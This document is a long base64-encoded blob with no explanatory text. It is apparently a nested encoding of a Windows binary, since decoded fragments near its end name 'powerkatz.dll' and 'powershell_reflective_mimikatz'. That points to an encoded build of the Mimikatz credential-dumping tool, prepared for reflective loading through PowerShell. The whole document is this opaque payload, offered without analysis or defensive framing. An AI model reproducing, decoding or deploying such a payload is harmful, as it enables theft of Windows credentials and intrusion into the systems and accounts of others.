ZmQVQ0QkhBQVJRSUFCUmtDQUFVVkFjQUZEUUdBQlF5RUhBQkdRb0FHWFFOQUJsa0RBQVpWQXNBR1RRS0FCbHlGZUFCSFF3QUhYUU5BQjFrREFBZFZBc0FIVFFLQUIxU0dmQVg0QlhBQVNNTkFDUEVNd0FqZERJQUkyUXhBQ00wTUFBakFTd0FHUEFXMEJSUUFBQUJGQVlBRkRRTkFCUlNEWEFNWUF0UUFSZ0lBQmhrRmdBWU5CVUFHUElPNEF4d0MxQUJKQW9BSkRRWkFDVFNIZkFiNEJuUUY4QVZjQlJnRTFBQkh3d0FIM1FYQUI5a0ZRQWZOQlFBSDlJWThCYmdGTkFTd0JCUUFSd01BQnhrRlFBY1ZCTUFIRFFTQUJ5eUdQQVc0QlRRRXNBUWNBRVhDQUFYWkE4QUYxUU9BQmMwRFFBWGtoTndBU1FLQUNRMEZBQWtraDN3RytBWjBCZkFGWEFVWUJOUUFRZ0NBQWh5QkRBQkdBb0FHR1FVQUJoVUV3QVlOQklBR05JVThCTGdFSEFCSFF3QUhYUUxBQjFrQ2dBZFZBa0FIVFFJQUIweUdmQVg0QlhRQVFvQ0FBb3lCakFCRkFnQUZHUUtBQlJVQ1FBVU5BZ0FGRklRY0FFUEJnQVBaQWtBRHpRSUFBOVNDM0FCRXdRQUV6UUdBQk15RDNBQkZBb0FGRFFOQUJReUVQQU80QXpRQ3NBSWNBZGdCbEFCQ2dRQUNqUUlBQXBTQm5BQkR3WUFEMVFKQUE4MENBQVBVZ3RnQVNNTkFDTjBJZ0FqWkNFQUl6UWdBQ01CR2dBWThCYmdGTkFTd0JCUUFBQUJHUW9BR1RRV0FCblNGZkFUNEJIUUQ4QU5jQXhnQzFBQkh3a0FIK0liOEJuZ0Y5QVZ3Qk53RW1BUlVCQXdBQUFCR1FvQUdlUVRBQmwwRWdBWlpCRUFHVFFRQUJuU0ZmQUJJd3dBSTJRWkFDTlVHQUFqTkJZQUkvSWM4QnJnR05BV3dCUndBUW9FQUFvMERnQUtzZ1p3QVNJSkFDTGlHL0FaNEJmUUZjQVRjQkpnRVRBUVVBQUFBUjhNQUI5MEZnQWZaQlVBSHpRVUFCL1NHUEFXNEJUUUVzQVFVQUVlQ2dBZU5CVUFIcklhOEJqZ0Z0QVV3Qkp3RVdBUVVBRVZDQUFWZEE0QUZXUU5BQlUwREFBVmtoSGdBUlFHQUJSa0RnQVVOQXdBRkpJUWNBRVNDQUFTVkE4QUVqUU9BQkp5RHVBTWNBdGdBU0FNQUNCa0V3QWdWQklBSURRUkFDQ1NIUEFhNEJqUUZzQVVjQUVRQmdBUVpBMEFFRFFNQUJDU0RIQUJGUWdBRlhRSUFCVmtCd0FWTkFZQUZUSVI0QUVjREFBY1pBd0FIRlFMQUJ3MENnQWNNaGp3RnVBVTBCTEFFSEFCR1FnQUdXUUlBQmxVQndBWk5BWUFHVElWY0FFaUNnQWlkQXNBSW1RS0FDSlVDUUFpTkFnQUlsSWU0QUVLQkFBS05Bd0FDcElHY0FFUUJnQVFaQWtBRURRSUFCQlNESEFCRkFZQUZEUVJBQlN5RFhBTVlBdFFBUjBHQUIwMEV3QWRzaFp3RldBVVVBRU1CQUFNTkFzQURISUljQUVHQWdBR2NnSXdBUW9FQUFvMENRQUtVZ1p3QVNBTUFDQmtEd0FnVkE0QUlEUU1BQ0JTSFBBYTRCalFGc0FVY0FFY0JRQWNZaGpnRm5BVlVCUXdBQUFCSEFvQUhHUVlBQncwRndBYzhoTGdFTkFPd0F4d0MxQUJIZ3NBSG1RbUFCNDBKQUFlQVI0QUV2QVE0QTdBREhBTFVBQUFBUlVJQUJWMENRQVZaQWNBRlZRR0FCVXlFZUFCQ0FJQUNKSUVNQUVtRFFBbWRFTUFKbVJDQUNZMFFRQW1BVG9BR1BBVzRCVFFFc0FRVUFBQUFRWUNBQVl5QWpBQkRBUUFERFFNQUF5U0NIQUJIZ3NBSG1RWkFCNDBHQUFlQVJJQUV2QVE0QTdBREhBTFVBQUFBUnNKQUJ0MEdBQWJaQmNBR3pRV0FCc0JGQUFRVUFBQUFSa0tBQmxrRWdBWk5CRUFHWklTOEJEZ0RzQU1jQXRRQVJ3TEFCemtId0FjZEI0QUhHUWRBQncwSEFBY0FSb0FGZkFBQUFFZkNnQWZOQmdBSC9JVjhCUGdFZEFQd0Exd0RHQUxVQUVTQmdBU2RCSUFFalFSQUJMU0MxQUJJZ29BSWdFWkFCYndGT0FTMEJEQURuQU5ZQXd3QzFBQkdRb0FHWFFMQUJsa0NnQVpWQWtBR1RRSUFCbFNGZUFCRVFZQUVUUU5BQkZ5RFhBTVlBdFFBUmtLQUJsMEVRQVpaQkFBR1ZRUEFCazBEZ0Fac2hYZ0FSVUlBQlYwQ2dBVlpBa0FGVFFJQUJWU0VlQUJIUXdBSFhRUEFCMWtEZ0FkVkEwQUhUUU1BQjF5R2ZBWDRCWEFBUndNQUJ4a0VBQWNWQThBSERRT0FCeHlHUEFXNEJUUUVzQVFjQUVqRFFBamRDRUFJMlFnQUNNMEh3QWpBUmdBR1BBVzRCVFFFc0FRVUFBQUFRUUJBQVJDQUFBQkdBb0FHR1FSQUJoVUVBQVlOQTRBR0pJVThCTGdFSEFKSHdrQUgyUWVBQjhCR0FBWThCYmdGTkFTd0JCd0FBQ01iZ0lBQVFBQUFLZXJBQUFqcmdBQVlDUUVBQ091QUFBQkJnSUFCbklDVUFrTUJBQU1OQTRBRExJSWNJeHVBZ0FCQUFBQXFhNEFBRml2QUFCZ0pBUUFXSzhBQUFrWEJnQVhOQklBRjlJVDhCRndFR0NNYmdJQUFRQUFBTSt2QUFCdXNRQUFZQ1FFQUc2eEFBQUJJdzBBSThRZEFDTjBIQUFqWkJzQUl6UWFBQ01CRmdBWThCYmdGRkFBQUFFV0JBQVdVaEp3RVdBUU1BRVhDQUFYZEE4QUYyUU9BQmMwRFFBWGtoQlFBUlFJQUJSa0NRQVVWQWNBRkRRR0FCUXlFSEFCQndJQUJ3RkpBQUVFQVFBRVlnQUFBUVlDQUFhU0FqQUJJQXdBSUdRTkFDQlVDd0FnTkFvQUlESWM4QnJnR05BV3dCUndBUmdJQUJoa0RnQVlWQTBBR0RRTUFCaVNGSEFCRkFnQUZHUUpBQlJVQ0FBVU5BY0FGRElRY0FFWkNnQVpOQThBR1RJVjhCUGdFZEFQd0Exd0RHQUxVQUVXQ2dBV05BNEFGbElTOEJEZ0R0QU13QXB3Q1dBSVVBRVRCZ0FUTkJRQUUvSUo0QWRnQmxBQkhBc0FIRFFhQUJ3QkVnQVE4QTdnRE5BS3dBaHdCMkFHVUFBQUFTRUtBQ0VCR1FBVjhCUGdFZEFQd0Exd0RHQUxNQXBRQVJ3TEFCdzBJQUFjQVJnQUVQQU80QXpRQ3NBSWNBZGdCbEFBQUFFb0N3QW9OQ0VBS0FFV0FCM3dHK0FaMEJmQUZYQVVZQk5RQUFBQkZBZ0FGR1FPQUJSVURRQVVOQXdBRkpJUWNBRVVDQUFVWkFzQUZGUUtBQlEwQ1FBVVVoQndBUklJQUJKVUVBQVNOQThBRXBJTzRBeHdDMkFCRlFnQUZYUUlBQlZrQndBVk5BWUFGVElSOEFFWUNnQVlaQThBR0ZRT0FCZzBEUUFZY2hUd0V1QVFjQUVZQ2dBWVpBd0FHRlFMQUJnMENnQVlVaFR3RXVBUWNBRU9BZ0FPTWdvd0FRd0dBQXcwRUFBTXNnaHdCMkFHVUFFY0N3QWNOQjRBSEFFV0FCRHdEdUFNMEFyQUNIQUhZQVpRQUFBQkR3WUFEMlFNQUE4MEN3QVBjZ3R3QVE4R0FBODBFQUFQc2dod0IyQUdVQUVQQmdBUE5CSUFEOUlJY0FkZ0JsQUJCQUVBQklJQUFBRXNEUUFzeEZWQUxIUlVRQ3hrVTBBc05GSkFMQUZPUUJqd0Z1QVVVQUFBQVFzR0FBdFNCK0FGY0FSZ0ExQUNNQUVOQkFBTk5CQUFEZElHVUFFVUJ3QVVOQ29BRkFFbUFBaHdCMkFHVUFBQUFSTUlBQk0wRkFBVDBnendDdUFJY0FkZ0JsQUJJUW9BSVFFcEFCWHdFK0FSMEEvQURYQU1ZQXN3Q2xBQkpnMEFKblJPQUNaa1RRQW1ORXdBSmdGR0FCandGdUFVMEJMQUVGQUFBQUVhQ1FBYVpCa0FHalFZQUJvQkZBQU80QXh3QzFBQUFBRWhDZ0FoTkJNQUlaSWE4QmpnRnRBVXdCSndFV0FRVUFFTUJBQU1OQWdBREZJSWNBRWVDZ0FlTkJBQUhuSWE4QmpnRnRBVXdCSndFV0FRVUFFZ0NnQWdOQTRBSUZJWjhCZmdGZEFUd0JGd0VHQVBVQUVpQ2dBaUFTVUFGdkFVNEJMUUVNQU9jQTFnRERBTFVBRVRDQUFUTkF3QUUxSU00QXJBQ0hBSFlBWlFBUklJQUJKeUMvQUo0QWZRQlhBRVlBTXdBbEFCSEFvQUhEUVdBQnpTRmZBVDRCSFFEOEFOY0F4Z0MxQUJFd2dBRXpRUEFCTlNET0FLd0Fod0IyQUdVQUVXQmdBV1pBc0FGalFLQUJaU0VuQUJEZ1FBRGpRSEFBNHlDbkFCRmdnQUZqUVdBQmJ5RFBBSzRBaHdCMkFHVUFFU0JnQVNkQWtBRWpRSUFCSlNDMUFCRndnQUYzUUtBQmRrQ1FBWE5BZ0FGMUlRVUFFUEJnQVBOQXdBRDNJSWNBZGdCbEFCR1FvQUdXUVRBQmswRWdBWnNoTHdFT0FPd0F4d0MxQUJJQXNBSURRZEFDQUJGQUFVOEJMZ0VOQU93QXh3QzJBS1VBQUFBUlVJQUJWa0RRQVZOQXNBRlZJTzRBeHdDMUFCRndnQUYzUVJBQmRrRHdBWE5BNEFGN0lRVUFFUUJnQVFaQXNBRURRS0FCQnlESEFCSWd3QUlzUVhBQ0owRmdBaVpCVUFJalFVQUNMeUdQQVc0QlJRQVJnSkFCZzBIQUFZQVJZQURQQUt3QWh3QjJBR1VBQUFBUnNKQUJ0MEhnQWJaQjBBR3pRY0FCc0JHZ0FRVUFBQUFSY0pBQmRrRndBWFZCVUFGelFVQUJjQkVnQVFjQUFBQVJRSEFCUTBIQUFVQVJnQUNIQUhZQVpRQUFBQkdnb0FHbVFSQUJvMEVBQWFraFB3RWVBUHdBMXdERkFCR1FvQUdXUVRBQmswRWdBWnNoTHdFTkFPd0F4d0MxQUJHd29BRzNRVUFCdGtFd0FiTkJJQUc5SVU4QkxnRUZBQkd3c0FHMlFhQUJ0VUdRQWJOQmdBR3dFVUFCVHdFdUFRY0FBQUFSVUlBQlZrRHdBVk5BNEFGWklPNEF4d0MxQUJIZ3NBSG1RZEFCNDBIQUFlQVJZQUV2QVE0QTdBREhBTFVBQUFBU01MQUNQRUlBQWpkQjhBSXpRZUFDTUJHZ0FZOEJiZ0ZGQUFBQUVhQ1FBYVpCY0FHalFXQUJvQkVnQU80QXh3QzFBQUFBRXBDd0FwTkNZQUtRRWVBQjd3SE9BYTBCakFGbkFWWUJSUUFBQUJId3NBSDNRZUFCOWtIUUFmTkJ3QUh3RVlBQlRnRXNBUVVBQUFBU2NOQUNkMExnQW5aQzBBSnpRc0FDY0JKZ0FjOEJyZ0dOQVd3QlJRQUFBQkpBa0FKSFFoQUNSa0lBQWtOQjRBSkFFY0FCbFFBQUFCR0FnQUdHUVZBQmcwRkFBWThnN2dESEFMVUFFZkN3QWZOR2dBSHdGZ0FCRHdEdUFNMEFyQUNIQUhZQVpRQUFBQkR3WUFEMlFOQUE4MERBQVBrZ3R3QVI4TUFCOTBGd0FmWkJZQUh6UVZBQi9TR1BBVzRCVFFFc0FRVUFFYUNRQWFaQ2tBR2pRb0FCb0JKQUFPNEF4d0MxQUFBQUVjREFBY1pCSUFIRlFSQUJ3MEVBQWNraGp3RnVBVTBCTEFFSEFCSHdzQUgzUWdBQjlrSHdBZk5CNEFId0VhQUJUd0V1QVFVQUFBQVJJR0FCSTBGQUFTOGdod0IyQUdVQUVNQkFBTU5CQUFETklJY0FrWENRQVhkRWtBRjJSSUFCY0JSQUFROEE3Z0RNQUFBSXh1QWdBQkFBQUF4S3dCQUErdUFRQmdKQVFBRDY0QkFBRUtCQUFLZEFJQUJUUUJBQUVLQWdBS2NnWXdBUmNJQUJkVUN3QVhOQW9BRjFJVDRCRndFR0FCRlFnQUZXUU5BQlUwQ2dBVlVnN2dESEFMVUFFWkNnQVpOQkFBR1ZJVjhCUGdFZEFQd0Exd0RHQUxVQUVTQmdBU2RBOEFFalFPQUJLeUMxQUJEUU1BRFFFOEFBWndBQUFCSFFvQUhRRWZBQkh3RCtBTjBBdkFDWEFJWUFjd0JsQUJDUUlBQ1pJQ1VBRWhDd0FoTkNRQUlRRWNBQlh3RStBUjBBL0FEWEFNWUF0UUFBQUJHZ0lBR2dFVkFBRWJDUUFiZENzQUcyUXBBQnMwS0FBYkFTWUFFRkFBQUFFWEFRQVhvZ0FBQVJnQkFCaWlBQUFCR3drQUczUXpBQnMwTWdBYkFTNEFEK0FOd0F0UUFBQUJIQXNBSERRaEFCd0JHQUFROEE3Z0ROQUt3QWh3QjJBR1VBQUFBUVlDQUFiU0FqQUJFZ2dBRWxRTEFCSTBDZ0FTVWc3Z0RIQUxZQUVKQVFBSjRnQUFBUjRMQUI1a0h3QWVOQjRBSGdFWUFCTHdFT0FPd0F4d0MxQUFBQUVRQkFBUU5CSUFFUElHVUFFUkJnQVI4Z2ZnQlhBRVlBTXdBbEFCR1FvQUdXUVZBQmswRkFBWjBoTHdFT0FPMEF4d0MxQUJGUWdBRldRVEFCVTBFQUFWc2c3Z0RIQUxVQUVOQkFBTk5Bb0FEWElHVUFFZkN3QWZkQ2NBSDJRbUFCOEJJQUFUOEJIZ0Q5QU53QXRRQUFBQkhnc0FIbVF2QUI0MExnQWVBU2dBRXZBUTRBN1FESEFMVUFBQUFTTU5BQ1BFR1FBamRCZ0FJMlFYQUNNMEZnQWpBUklBR1BBVzRCUlFBQUFCRWdVQUVuUVVBQklCRWdBR1VBQUFBUlVJQUJWa0RnQVZOQTBBRlhJTzRBeHdDMUFCQkFFQUJNSUFBQUVWQ0FBVlpCUUFGVFFUQUJYU0R1QU1jQXRRQVJ3S0FCeGtHQUFjTkJjQUhQSVM4QkRnRHNBTWNBdFFBUk1JQUJOa0RnQVROQTBBRTNJUDhBM2dDM0FCR3drQUczUWlBQnRrSVFBYk5DQUFHd0VlQUJCUUFBQUJGQWNBRkRRYUFCUUJGZ0FJY0FkZ0JsQUFBQUVTQlFBU05DNEFFZ0VzQUFaUUFBQUJEd01BRHdFVUFBUlFBQUFCSEFzQUhEUXVBQndCSmdBUThBN2dETkFLd0Fod0IyQUdVQUFBQVJjS0FCYzBFUUFYY2hEd0R1QU0wQXJBQ0hBSFlBWlFBUlVJQUJWa0ZBQVZOQk1BRmRJTzhBeHdDMUFCR3dvQUczUVFBQnRrRHdBYk5BNEFHNUlVOEJMZ0VGQUJGd2tBRjJRYUFCZFVHUUFYTkJnQUZ3RVdBQkJ3QUFBQkdBY0FHRFFhQUJnQkZnQU1jQXRnQ2xBQUFBRWZDd0FmZEI0QUgyUWRBQjgwSEFBZkFSZ0FGUEFTNEJCUUFBQUJHZ2tBR21RZ0FCbzBId0FhQVJvQUR1QU1jQXRRQUFBQkJ3RUFCMklBQUFFYUNBQWFkQlFBR21RVEFCbzBFZ0FhOGhCUUFSOE1BQi9FRXdBZmRCSUFIMlFSQUI4MEVBQWZzaGp3RnVBVVVBRWJDUUFiZEJZQUcyUVZBQnMwRkFBYkFSSUFFRkFBQUFFZ0NnQWdOQmdBSU5JWjhCZmdGZEFUd0JGd0VHQVBVQUVZQ2dBWVpCSUFHRlFSQUJnMEVBQVlzaFR3RXVBUWNBRWJDZ0FiNUJNQUczUVNBQnRrRVFBYk5CQUFHOUlVVUFFWEJ3QVhkQ2NBRnpRbUFCY0JKQUFMVUFBQUFSY0hBQmQwSFFBWE5Cd0FGd0VhQUF0UUFBQUJFZ1VBRWpRcUFCSUJLQUFHVUFBQUFSTUdBQk4wRVFBVE5CQUFFOUlNVUJFVkNBQVZkQWtBRldRSEFCVTBCZ0FWTWhIZ2pHNENBQUVBQUFCTFhRSUEyRjBDQUx3a0JBQUFBQUFBRVE4R0FBOWtDQUFQTkFZQUR6SUxjSXh1QWdBQkFBQUFjbDRDQUpCZUFnRFRKQVFBQUFBQUFBa2FCZ0FhTkE4QUduSVc0QlJ3RTJDTWJnSUFBUUFBQU9KZUFnQ3lYd0lBN3lRRUFMSmZBZ0FCQmdJQUJsSUNVQWtFQVFBRUlnQUFqRzRDQUFFQUFBRFhZZ0lBWldNQ0FDVWxCQUJsWXdJQUFRSUJBQUpRQUFBQkRRUUFEVFFKQUEweUJsQUJGUVVBRlRTNkFCVUJ1QUFHVUFBQUFRMEVBQTAwQndBTk1nWlFBUUFBQUFFUEJnQVBaQVVBRHpRRUFBOFNDM0FaSmdVQUZUUlZBQlVCVWdBR1VBQUFUQm9FQUlBQ0FBQUFBQUFBQVFBQUFBRUpBZ0FKTWdVd0FBQUFBQUVIQWdBSEFac0FBUUFBQUFFQUFBQUJBQUFBQVFrQ0FBbXlBbEFaTWdzQUlXU3JBQ0UwcUFBaEFhSUFFdkFRNEE3QURIQUxVQUFBVEJvRUFBQUZBQUFCR0FvQUdHUUxBQmhVQ2dBWU5Ba0FHRElVOEJMZ0VIQUJHUW9BR2VRSkFCbDBDQUFaWkFjQUdUUUdBQmt5RmZBQkVnZ0FFbFFNQUJJMEN3QVNVZzdnREhBTFlCa2tCd0FTWktJQUVqU2hBQklCbmdBTGNBQUFUQm9FQU9BRUFBQVpLd3dBSEdRUkFCeFVFQUFjTkE4QUhISVk4QmJnRk5BU3dCQndUQm9FQURnQUFBQUJEd1lBRDJRSUFBODBCd0FQTWd0d0FSQUdBQkIwRGdBUU5BMEFFSklNNEJrc0NRQWJOS2dBR3dHaUFBendDdUFJY0FkZ0JsQUFBRXdhQkFBQUJRQUFBU0lLQUNKMENRQWlaQWdBSWxRSEFDSTBCZ0FpTWg3Z0FROEVBQTkwQWdBS05BRUFFUThFQUE4MEJnQVBNZ3R3akc0Q0FBRUFBQURDZXdJQXpIc0NBRDBsQkFBQUFBQUFBUk1JQUJOVUNnQVROQWtBRXpJUDRBMXdER0FCQ2dRQUNqUU5BQXFTQm5BWkhnWUFEMlFPQUE4MERRQVBrZ3R3VEJvRUFFQUFBQUFCRkFnQUZHUU1BQlJVQ3dBVU5Bb0FGSElRY0JFUEJBQVBOQWNBRHpJTGNJeHVBZ0FCQUFBQVFMY0NBRXEzQWdDTEpRUUFBQUFBQUJFVUNBQVVaQTRBRkRRTUFCUnlFUEFPNEF4d2pHNENBQUlBQUFDZXRnSUE1TFlDQUZnbEJBQUFBQUFBWWJZQ0FQSzJBZ0J5SlFRQUFBQUFBQkVQQkFBUE5BY0FEeklMY0l4dUFnQUJBQUFBTHJnQ0FEaTRBZ0NMSlFRQUFBQUFBQUVQQmdBUDVBTUFDblFDQUFVMEFRQVJGUWdBRlhRTEFCVmtDZ0FWTkFrQUZWSVI0SXh1QWdBQkFBQUFJYm9DQURlNkFnQ2pKUVFBQUFBQUFBRVBCZ0FQWkFzQUR6UUtBQTl5QzNBQkh3c0FIM1FpQUI5a0lRQWZOQ0FBSHdFY0FCVHdFdUFRVUFBQUdTMExBQjkwS0FBZlpDY0FIelFtQUI4QklnQVU4QkxnRUZBQUFFd2FCQUFBQVFBQUFWa09BRm4wUXdCUjVFUUFTY1JHQUVGVVJ3QTJORWdBRGdGSkFBZHdCbUFoQ0FJQUNOUkZBTkFtQXdBNUtBTUFNRFFIQUNFQUFBRFFKZ01BT1NnREFEQTBCd0FCR0FvQUdEUVFBQmhTRlBBUzRCRFFEc0FNY0F0Z0NsQUJIQXdBSEdRT0FCeFVEUUFjTkF3QUhGSVk4QmJnRk5BU3dCQndHVEFMQUI4MGVBRWZBVzRCRVBBTzRBelFDc0FJY0FkZ0JsQUFBRXdhQkFCZ0N3QUFBUlFJQUJSa0RRQVVWQXdBRkRRTEFCUnlFSEFCRmdvQUZsUU9BQlkwRFFBV1VoTHdFT0FPd0F4d0MyQUJGQW9BRkRRUEFCUlNFUEFPNEF6UUNzQUljQWRnQmxBQkhBd0FIR1FOQUJ4VURBQWNOQXNBSERJWThCYmdGTkFTd0JCd0FSOE5BQjlrSHdBZlZCNEFIelFjQUI4QkZnQVk4QmJnRk5BU3dCQndBQUFCREFRQUREUU1BQXh5Q0hBWkh3VUFEVFJ0QUEwQmFBQUdjQUFBVEJvRUFEQURBQUFCRndvQUZ6UVFBQmR5RVBBTzRBelFDc0FJY0FkZ0JsQUJIUWtBSGNJVzhCVGdFdEFRd0E1d0RXQU1NQXRRQUFBQkRBSUFESElJTUFFUUJBQVFOQW9BRUhJTWNBRVlDQUFZWkEwQUdGUUxBQmcwQ2dBWWNoUndBUndLQUJ4a0R3QWNWQTBBSERRTUFCeHlHUEFXNEJSd0FRVUNBQVUwQVFBQkh3d0FIM1FSQUI5a0VBQWZOQTRBSDNJWThCYmdGTkFTd0JCUUFSd01BQnhrRXdBY1ZCSUFIRFFRQUJ5U0dQQVc0QlRRRXNBUWNBRWZEUUFmWkIwQUgxUWNBQjgwR2dBZkFSUUFHUEFXNEJUUUVzQVFjQUFBR1JrS0FCbmtDUUFaZEFnQUdXUUhBQmswQmdBWk1oWHdqRzRDQUFJQUFBRGJaQU1BT1dVREFNNGxCQUI0WlFNQXYyUURBSDVsQXdEcEpRUUFBQUFBQUFFUEJBQVBOQVlBRHpJTGNBRVNBZ0FTY2d0UUFRc0JBQXRpQUFBUkR3UUFEelFHQUE4eUMzQ01iZ0lBQVFBQUFOVm9Bd0RmYUFNQUh5WUVBQUFBQUFBUkhBb0FIR1FQQUJ3MERnQWNjaGp3RnVBVTBCTEFFSENNYmdJQUFRQUFBQjVwQXdCeWFnTUFBaVlFQUFBQUFBQUpCZ0lBQmpJQ01JeHVBZ0FCQUFBQTdHNERBUGx1QXdBQkFBQUErVzREQUJrdUNRQWRaTVFBSFRUREFCMEJ2Z0FPNEF4d0MxQUFBRXdhQkFEZ0JRQUFBUklHQUJKa0V3QVNOQkVBRXRJTFVBRVpDZ0FaZEE4QUdXUU9BQmxVRFFBWk5Bd0FHWklWNEFFVkJnQVZaQkFBRlRRT0FCV3lFWEFCRHdJQUJqSUNVQUVKQWdBSmNnSlFFUThFQUE4MEJnQVBNZ3R3akc0Q0FBRUFBQUM1ZlFNQXlYMERBQjhtQkFBQUFBQUFFUThFQUE4MEJnQVBNZ3R3akc0Q0FBRUFBQUJ4ZlFNQWgzMERBQjhtQkFBQUFBQUFFUThFQUE4MEJnQVBNZ3R3akc0Q0FBRUFBQUFSZlFNQVFYMERBQjhtQkFBQUFBQUFFUThFQUE4MEJnQVBNZ3R3akc0Q0FBRUFBQUQ1ZlFNQUIzNERBQjhtQkFBQUFBQUFBUndNQUJ4a0ZBQWNWQk1BSERRU0FCeXlHUEFXNEJUUUVzQVFjQmtjQXdBT0FSZ0FBbEFBQUV3YUJBQ3dBQUFBQVJrS0FCbDBEd0FaWkE0QUdWUU5BQmswREFBWmtoWHdBUjBNQUIxMEZRQWRaQlFBSFZRVEFCMDBFZ0FkMGhud0YrQVZ3QUVWQ0FBVlpBNEFGVlFOQUJVMERBQVZraEhnR1NFSUFCSlVEZ0FTTkEwQUVuSU80QXh3QzJCTUdnUUFNQUFBQUJFR0FnQUdNZ0p3akc0Q0FBRUFBQUFOa2dNQUk1SURBTzhtQkFBQUFBQUFFUVlDQUFZeUFqQ01iZ0lBQVFBQUFDNlVBd0JGbEFNQWd5WUVBQUFBQUFBQkhBc0FISFFYQUJ4a0ZnQWNWQlVBSERRVUFCd0JFZ0FWNEFBQUFRMENBQTJTQmxBQkJRSUFCWFFCQUJFS0JBQUtOQWdBQ2xJR2NJeHVBZ0FCQUFBQVdwc0RBTm1iQXdBNUpnUUFBQUFBQUFFSUFRQUlZZ0FBRVE4RUFBODBCZ0FQTWd0d2pHNENBQUVBQUFBSm5RTUFaSjBEQUZJbUJBQUFBQUFBRVJzS0FCdGtEQUFiTkFzQUd6SVg4QlhnRTlBUndBOXdqRzRDQUFFQUFBQXFwQU1BV3FRREFHd21CQUFBQUFBQUFSY0tBQmMwRndBWHNoRHdEdUFNMEFyQUNIQUhZQVpRR1NnS0FCbzBHQUFhOGhEd0R1QU0wQXJBQ0hBSFlBWlFUQm9FQUhBQUFBQVpMUWtBRzFTUUFoczBqZ0liQVlvQ0R1QU1jQXRnQUFCTUdnUUFRQlFBQUJreEN3QWZWSllDSHpTVUFoOEJqZ0lTOEJEZ0RzQU1jQXRnQUFCTUdnUUFZQlFBQUJFUEJBQVBOQVlBRHpJTGNJeHVBZ0FCQUFBQW1hY0RBTm1uQXdCU0pnUUFBQUFBQUJFR0FnQUdNZ0l3akc0Q0FBRUFBQUJvcVFNQWxxa0RBRGttQkFBQUFBQUFFUmtLQUJsMERBQVpaQXNBR1RRS0FCbFNGZkFUNEJIQWpHNENBQUVBQUFDcnJRTUFqSzREQUlNbUJBQUFBQUFBQVJRR0FCUmtCd0FVTkFZQUZESVFjQkVWQ0FBVmRBb0FGV1FKQUJVMENBQVZVaEh3akc0Q0FBRUFBQUFNckFNQVdhd0RBSU1tQkFBQUFBQUFBUlFJQUJSa0R3QVVWQTBBRkRRTUFCU1NFSEFaS0FnQUd1UVZBQnAwRkFBYVpCTUFHdklRVUV3YUJBQndBQUFBRVFvRUFBbzBCd0FLTWdad2pHNENBQUVBQUFCdXZBTUF6THdEQUp3bUJBQUFBQUFBQVFZQ0FBWXlBbEFaSlFvQUZsUVJBQlkwRUFBV2NoTHdFT0FPd0F4d0MyQk1HZ1FBT0FBQUFCa3JCd0FhZFBRQUdqVHpBQm9COEFBTFVBQUFUQm9FQUhBSEFBQVJEd1FBRHpRR0FBOHlDM0NNYmdJQUFRQUFBQ20xQXdBeXRRTUFIeVlFQUFBQUFBQVJCZ0lBQmpJQ01JeHVBZ0FCQUFBQW5zSURBTFRDQXdDMUpnUUFBQUFBQUFFSEFRQUhRZ0FBRVJBSEFCQ0NEUEFLMEFqQUJuQUZZQVF3QUFDTWJnSUFBUUFBQUcvRUF3QnB4UU1BeXlZRUFBQUFBQUFSRHdRQUR6UUdBQTh5QzNDTWJnSUFBUUFBQU43Q0F3RDB3Z01BSHlZRUFBQUFBQUFCRHdZQUQyUVJBQTgwRUFBUDBndHdHUzBOVlI5MEZBQWJaQk1BRnpRU0FCTlREcklLOEFqZ0J0QUV3QUpRQUFCTUdnUUFXQUFBQUJFS0JBQUtOQVlBQ2pJR2NJeHVBZ0FCQUFBQUQ4NERBQ1hPQXdEdkpnUUFBQUFBQUJrdENnQWNBZnNBRGZBTDRBblFCOEFGY0FSZ0F6QUNVRXdhQkFEQUJ3QUFBUmNHQUJka0NRQVhOQWdBRnpJVGNBRVlCZ0FZWkFrQUdEUUlBQmd5RkhBQkdBWUFHRlFIQUJnMEJnQVlNaFJnR1MwTk5SOTBGQUFiWkJNQUZ6UVNBQk16RHJJSzhBamdCdEFFd0FKUUFBQk1HZ1FBVUFBQUFBRVZDUUFWZEFVQUZXUUVBQlZVQXdBVk5BSUFGZUFBQUJFYkNnQWJaQXdBR3pRTEFCc3lGL0FWNEJQUUVjQVBjSXh1QWdBQkFBQUEyKzBEQUF6dUF3QnNKZ1FBQUFBQUFBRUpBUUFKWWdBQUFBQUFBQUVBQUFBQkl3c0FJM1FmQUNNMEhnQWpBUmdBR1BBVzRCVFFFc0FRVUFBQUVRb0VBQW8wREFBS2tnWndqRzRDQUFFQUFBQmo4QU1BaC9BREFBZ25CQUFBQUFBQUFSSUlBQkpVREFBU05Bb0FFbElPNEF4d0MyQUJHQW9BR0dRTkFCaFVEQUFZTkFzQUdGSVU4QkxnRUhBQkNnTUFDbWdDQUFTaUFBQUJHUW9BR1RRV0FCbXlGZkFUNEJIUUQ4QU5jQXhnQzFBQkdRa0FHV0lWOEJQZ0VkQVB3QTF3REdBTFVBb3dBQUFCRVFrQUVXSU44QXZnQ2RBSHdBVndCR0FEVUFJd0FBQUpHUW9BR1hRTEFCbGtDZ0FaTkFrQUdUSVY4QlBnRWNDTWJnSUFBUUFBQURZUkJBQS9FUVFBV3ljRUFEOFJCQUFBQUFBQUFRUUJBQVFDQUFBWkpna0FHR2dPQUJRQkhnQUo0QWR3Qm1BRk1BUlFBQUJNR2dRQTBBQUFBQUVHQWdBR0VnSXdBUXNEQUF0b0JRQUh3Z0FBQVJzSUFCdDBDUUFiWkFnQUd6UUhBQnN5RkZBSkR3WUFEMlFKQUE4MENBQVBNZ3R3akc0Q0FBRUFBQURhR1FRQTRSa0VBRnNuQkFEaEdRUUFBUUlCQUFJd0FBQUJBQUFBQ1FvRUFBbzBCZ0FLTWdad2pHNENBQUVBQUFCdEd3UUFvQnNFQUpBbkJBQ2dHd1FBQVFnRUFBaHlCSEFEWUFJd0FBQUFBQUVFQVFBRUVnQUFBUUFBQUFFRUFRQUVJZ0FBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQnlHYjFZQUFBQUFFajhIQUFFQUFBQUJBQUFBQVFBQUFBZy9Cd0FNUHdjQUVEOEhBTVRKQUFBZ1B3Y0FBQUJ3YjNkbGNtdGhkSG91Wkd4c0FIQnZkMlZ5YzJobGJHeGZjbVZtYkdWamRHbDJaVjl0YVcxcGEyRjBlZ0FBZ0VBSEFBQUFBQUFBQUFBQWZFOEhBQUF3QkFEb1FnY0FBQUFBQUFBQUFBQWlVUWNBYURJRUFLaElCd0FBQUFBQUFBQUFBSTVSQndBb09BUUFBRWNIQUFBQUFBQUFBQUFBd0ZFSEFJQTJCQUFZUndjQUFBQUFBQUFBQUFENFVRY0FtRFlFQURoSEJ3QUFBQUFBQU